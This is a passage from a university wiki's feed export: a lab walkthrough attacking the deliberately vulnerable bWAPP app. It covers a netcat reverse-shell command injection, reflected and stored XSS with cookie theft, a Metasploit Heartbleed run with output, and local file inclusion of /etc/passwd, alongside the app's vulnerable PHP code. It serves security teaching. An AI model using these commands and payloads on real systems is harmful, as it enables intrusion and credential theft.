&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp4.png|thumb|none|450px|phpinfo()]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp5.png|thumb|none|500px|inject command &amp;quot;ls&amp;quot;]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
We will try to create a reverse shell in this way:&lt;br /&gt;
* create a listener on a machine 192.168.0.102 on a port (we chose 4444)&lt;br /&gt;
 nc -lvp 4444&lt;br /&gt;
* inject the reverse shell in the bWAPP&lt;br /&gt;
 message=system(&#039;nc 192.168.0.102 4444 -e /bin/bash&#039;)&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp6.png|thumb|none|400px|checking in the reverse shell if we are really inside the bWAPP]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cross-Site Scripting (XSS) ==&lt;br /&gt;
XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. The bWAPP offers many attack vectors for this vulnerability:&lt;br /&gt;
[[File:Bwapp7.png|thumb|none|300px]]&lt;br /&gt;
&amp;lt;b&amp;gt;XSS Reflected (GET) &amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Let&#039;s look at a simple JavaScript insertion, while in low security level.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp8.png|thumb|none|500px|Inserting JavaScript code &amp;lt;b&amp;gt;&amp;lt;script&amp;gt;alert(&#039;Success&#039;)&amp;lt;/script&amp;gt;&amp;lt;/b&amp;gt;]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
In medium security level this doesn&#039;t work, as there is input sanitization involved:&lt;br /&gt;
 switch($_COOKIE[&amp;quot;security_level&amp;quot;])&lt;br /&gt;
    {&lt;br /&gt;
        case &amp;quot;0&amp;quot; : &lt;br /&gt;
            &lt;br /&gt;
            $data = no_check($data);            &lt;br /&gt;
            break;&lt;br /&gt;
        &lt;br /&gt;
        case &amp;quot;1&amp;quot; :&lt;br /&gt;
            &lt;br /&gt;
            $data = xss_check_4($data);&lt;br /&gt;
            break;&lt;br /&gt;
        &lt;br /&gt;
        case &amp;quot;2&amp;quot; :            &lt;br /&gt;
                       &lt;br /&gt;
            $data = xss_check_3($data);            &lt;br /&gt;
            break;&lt;br /&gt;
        &lt;br /&gt;
        default : &lt;br /&gt;
            &lt;br /&gt;
            $data = no_check($data);            &lt;br /&gt;
            break;   &lt;br /&gt;
    } &lt;br /&gt;
&lt;br /&gt;
 function xss_check_4($data)&lt;br /&gt;
 {&lt;br /&gt;
    // addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.&lt;br /&gt;
    // These characters are single quote (&#039;), double quote (&amp;quot;), backslash (\) and NUL (the NULL byte).&lt;br /&gt;
    // Do NOT use this for XSS or HTML validations!!!&lt;br /&gt;
    &lt;br /&gt;
    return addslashes($data); &lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;XSS Stored (Blog) &amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The picture below displays a stored XSS attack using a blog post.&lt;br /&gt;
&lt;br /&gt;
[[File:StoredXSSAtt.png|Example for stored XSS using a blog post]]&lt;br /&gt;
&lt;br /&gt;
In the first part of the picture shows a regular blog of the BWAPP exercise &amp;quot;stored XSS (Blog)&amp;quot;. Here a user can create a comment and after publishing any user who visits the page is able to see the published blog post. In this case a user has published a malicious blog post that is executed by every browser displaying this post. The post of this user consists of A regular commentary on the blog and a script. This script is responsible for creating variable to which an image element is assigned. This variable is than used to send the current browser cookie to the specified address. Since the the code is surrounded by the script tags it is never displayed to the user once published as seen below the code. The blog entry number 10 shows how this blog entry is displayed to every user visiting this page. As one can see there is now way one can tell that malicious code has been injected. In this case the blog and the attacker are in the same network, once someone views this entry the browser interprets and executes the script and sends the browser cookies of the current user to the attacker. The last part of the picture one sees the terminal of the attacker with netcat listening on port 9000 once the published entry of the attacker is viewed by someone this is what the attacker gets send. As one can see there is multiple information about the victim is displayed along this information is also the browser cookie which can have further used to the attacker. E.g. the attacker can impersonate the victim and let a web service believe he is the user he stole this information from. Most XSS attacks can be mitigated using proper input sanitization. E.g. a whitelist or blacklist can be created preventing the input of invalid input such as the script tag or greater/less than symbols which can be used for escaping tags and force script execution. Another option for mitigation is encoding where certain symbols considered enabling for script execution are encoded in a way they are safe to use as a user input.&lt;br /&gt;
&lt;br /&gt;
== Heartbleed ==&lt;br /&gt;
We choose the Heartbleed Vulnerability with low security level and get the information to log on port 8443. This exploit will be performed via a second machine, a Kali Linux VM in the same network. Please refer to the [[Heartbleed]] wiki for more information about this vulnerability. The following commands are necessary:&lt;br /&gt;
* Open Metasploit&lt;br /&gt;
 msfconsole&lt;br /&gt;
* Search for heartbleed&lt;br /&gt;
 msf6 &amp;gt; search heartbleed&lt;br /&gt;
 &lt;br /&gt;
 Matching Modules&lt;br /&gt;
 ================&lt;br /&gt;
 &lt;br /&gt;
   #  Name                                              Disclosure Date  Rank    Check  Description&lt;br /&gt;
   -  ----                                              ---------------  ----    -----  -----------&lt;br /&gt;
   0  auxiliary/server/openssl_heartbeat_client_memory  2014-04-07       normal  No     OpenSSL Heartbeat (Heartbleed) Client Memory Exposure&lt;br /&gt;
   1  auxiliary/scanner/ssl/openssl_heartbleed          2014-04-07       normal  Yes    OpenSSL Heartbeat (Heartbleed) Information Leak&lt;br /&gt;
 &lt;br /&gt;
 Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssl/openssl_heartbleed&lt;br /&gt;
* Use option 1, set host to the IP address of bWAPP and the port to 8443, afterwards exploit&lt;br /&gt;
 msf6 &amp;gt; use 1&lt;br /&gt;
 msf6 auxiliary(scanner/ssl/openssl_heartbleed) &amp;gt; set RHOSTS 192.168.0.157&lt;br /&gt;
 RHOSTS =&amp;gt; 192.168.0.157&lt;br /&gt;
 msf6 auxiliary(scanner/ssl/openssl_heartbleed) &amp;gt; set RPORT 8443&lt;br /&gt;
 RPORT =&amp;gt; 8443&lt;br /&gt;
 msf6 auxiliary(scanner/ssl/openssl_heartbleed) &amp;gt; set verbose true&lt;br /&gt;
 verbose =&amp;gt; true&lt;br /&gt;
 msf6 auxiliary(scanner/ssl/openssl_heartbleed) &amp;gt; exploit&lt;br /&gt;
* This reveals the following output:&lt;br /&gt;
 [*] 192.168.0.157:8443    - Leaking heartbeat response #1&lt;br /&gt;
 [*] 192.168.0.157:8443    - Sending Client Hello...&lt;br /&gt;
 [*] 192.168.0.157:8443    - SSL record #1:&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Type:    22&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Version: 0x0301&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Length:  86&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Handshake #1:&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Length: 82&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Type:   Server Hello (2)&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Server Hello Version:           0x0301&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Server Hello random data:       61f1acf3bd02d1cdfa08f8ee5ca2066b32c1debd9db45f75ff3cdeb42a62046d&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Server Hello Session ID length: 32&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Server Hello Session ID:        9029cb68a0f14cb4a65c6b9332145b69916c45d85d0e920f4b9de276b2f6d585&lt;br /&gt;
 [*] 192.168.0.157:8443    - SSL record #2:&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Type:    22&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Version: 0x0301&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Length:  675&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Handshake #1:&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Length: 671&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Type:   Certificate Data (11)&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Certificates length: 668&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Data length: 671&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Certificate #1:&lt;br /&gt;
 [*] 192.168.0.157:8443    -                     Certificate #1: Length: 665&lt;br /&gt;
 [*] 192.168.0.157:8443    -                     Certificate #1: #&amp;lt;OpenSSL::X509::Certificate: subject=#&amp;lt;OpenSSL::X509::Name emailAddress=bwapp@itsecgames.com,CN=bee- box.bwapp.local,OU=IT,O=MME,L=Menen,ST=Flanders,C=BE&amp;gt;, issuer=#&amp;lt;OpenSSL::X509::Name emailAddress=bwapp@itsecgames.com,CN=bee-box.bwapp.local,OU=IT,O=MME,L=Menen,ST=Flanders,C=BE&amp;gt;, serial=#&amp;lt;OpenSSL::BN:0x00007f9ea8a4edd8&amp;gt;, not_before=2013-04-14 18:11:32 UTC, not_after=2018-04-13 18:11:32 UTC&amp;gt;&lt;br /&gt;
 [*] 192.168.0.157:8443    - SSL record #3:&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Type:    22&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Version: 0x0301&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Length:  203&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Handshake #1:&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Length: 199&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Type:   Server Key Exchange (12)&lt;br /&gt;
 [*] 192.168.0.157:8443    - SSL record #4:&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Type:    22&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Version: 0x0301&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Length:  4&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Handshake #1:&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Length: 0&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Type:   Server Hello Done (14)&lt;br /&gt;
 [*] 192.168.0.157:8443    - Sending Heartbeat...&lt;br /&gt;
 [*] 192.168.0.157:8443    - Heartbeat response, 13027 bytes&lt;br /&gt;
 [+] 192.168.0.157:8443    - Heartbeat response with leak, 13027 bytes&lt;br /&gt;
 [*] 192.168.0.157:8443    - &amp;lt;b&amp;gt;Printable info leaked:&lt;br /&gt;
 ......a......`.\*..W....D2..c....C......f.....&amp;quot;.!.9.8.........5.............................3.2.....E.D...../...A........&lt;br /&gt;
 .....................................4.2...................................................#..............................&lt;br /&gt;
 ....................................................................................................... repeated 12548 times  &lt;br /&gt;
 .....................................................................................................................................&amp;lt;/b&amp;gt;&lt;br /&gt;
 [*] 192.168.0.157:8443    - Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;
 [*] Auxiliary module execution completed&lt;br /&gt;
&lt;br /&gt;
== Remote &amp;amp; Local File Inclusion (RFI/LFI) ==&lt;br /&gt;
This page contains a prompt to select a language, where the user can choose between English, French and Dutch. The chosen parameter then gets passed in the URL like this:&lt;br /&gt;
 http://localhost/bWAPP/rlfi.php?language=lang_en&amp;amp;action=go&lt;br /&gt;
Into the &amp;quot;language&amp;quot; attribute, we can now try inserting a path to a file we would like to extract. For example &amp;lt;b&amp;gt;/etc/passwd&amp;lt;/b&amp;gt;. Each security level again offers different options, as are specified in the code snippet below:&lt;br /&gt;
 $language = &amp;quot;&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
 if(isset($_GET[&amp;quot;language&amp;quot;]))&lt;br /&gt;
 {&lt;br /&gt;
    switch($_COOKIE[&amp;quot;security_level&amp;quot;])&lt;br /&gt;
    {&lt;br /&gt;
        case &amp;quot;0&amp;quot; :&lt;br /&gt;
            $language = $_GET[&amp;quot;language&amp;quot;];&lt;br /&gt;
            break;&lt;br /&gt;
 &lt;br /&gt;
        case &amp;quot;1&amp;quot; :&lt;br /&gt;
            $language = $_GET[&amp;quot;language&amp;quot;] . &amp;quot;.php&amp;quot;;&lt;br /&gt;
            break;&lt;br /&gt;
 &lt;br /&gt;
        case &amp;quot;2&amp;quot; :&lt;br /&gt;
            $available_languages = array(&amp;quot;lang_en.php&amp;quot;, &amp;quot;lang_fr.php&amp;quot;, &amp;quot;lang_nl.php&amp;quot;);&lt;br /&gt;
            $language = $_GET[&amp;quot;language&amp;quot;] . &amp;quot;.php&amp;quot;;&lt;br /&gt;
            // $language = rlfi_check_1($language);&lt;br /&gt;
            break;&lt;br /&gt;
 &lt;br /&gt;
        default :&lt;br /&gt;
            $language = $_GET[&amp;quot;language&amp;quot;];         &lt;br /&gt;
            break;&lt;br /&gt;
    }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Low security level&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp9.png|thumb|none|500px|inserting a path to the &amp;lt;b&amp;gt;passwd&amp;lt;/b&amp;gt; file]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #eeb553; background-color: #f8e2bc; color: #c17c04; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;In the lowest security level, the user input is passed with no sanitization to the backend, allowing the insertion of a file path.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Medium security level&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp10.png|thumb|none|500px|inserting a path to the &amp;lt;b&amp;gt;passwd&amp;lt;/b&amp;gt; file in medium security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #eeb553; background-color: #f8e2bc; color: #c17c04; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;The medium security level specifies, that the user input is concatenated with &amp;quot;.php&amp;quot; so that only actual PHP files are searched for. This is because the language files in question are &amp;lt;i&amp;gt;&amp;quot;lang_en.php&amp;quot;, &amp;quot;lang_fr.php&amp;quot;, &amp;quot;lang_nl.php&amp;quot;&amp;lt;/i&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;High security level&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp11.png|thumb|none|500px|inserting a path to the &amp;lt;b&amp;gt;passwd&amp;lt;/b&amp;gt; file in highest security level - &amp;lt;b&amp;gt;NO BREACH&amp;lt;/b&amp;gt;]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #eeb553; background-color: #f8e2bc; color: #c17c04; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;The highest security level specifies an array of allowed files, and the input must be one of them. If it is not, nothing is returned. The files in question are &amp;lt;i&amp;gt;&amp;quot;lang_en.php&amp;quot;, &amp;quot;lang_fr.php&amp;quot;, &amp;quot;lang_nl.php&amp;quot;&amp;lt;/i&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MBoysen</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:StoredXSSAtt.png&amp;diff=10615</id>
		<title>File:StoredXSSAtt.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:StoredXSSAtt.png&amp;diff=10615"/>
		<updated>2023-01-05T15:46:06Z</updated>

		<summary type="html">&lt;p&gt;MBoysen: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>MBoysen</name></author>
	</entry>
</feed>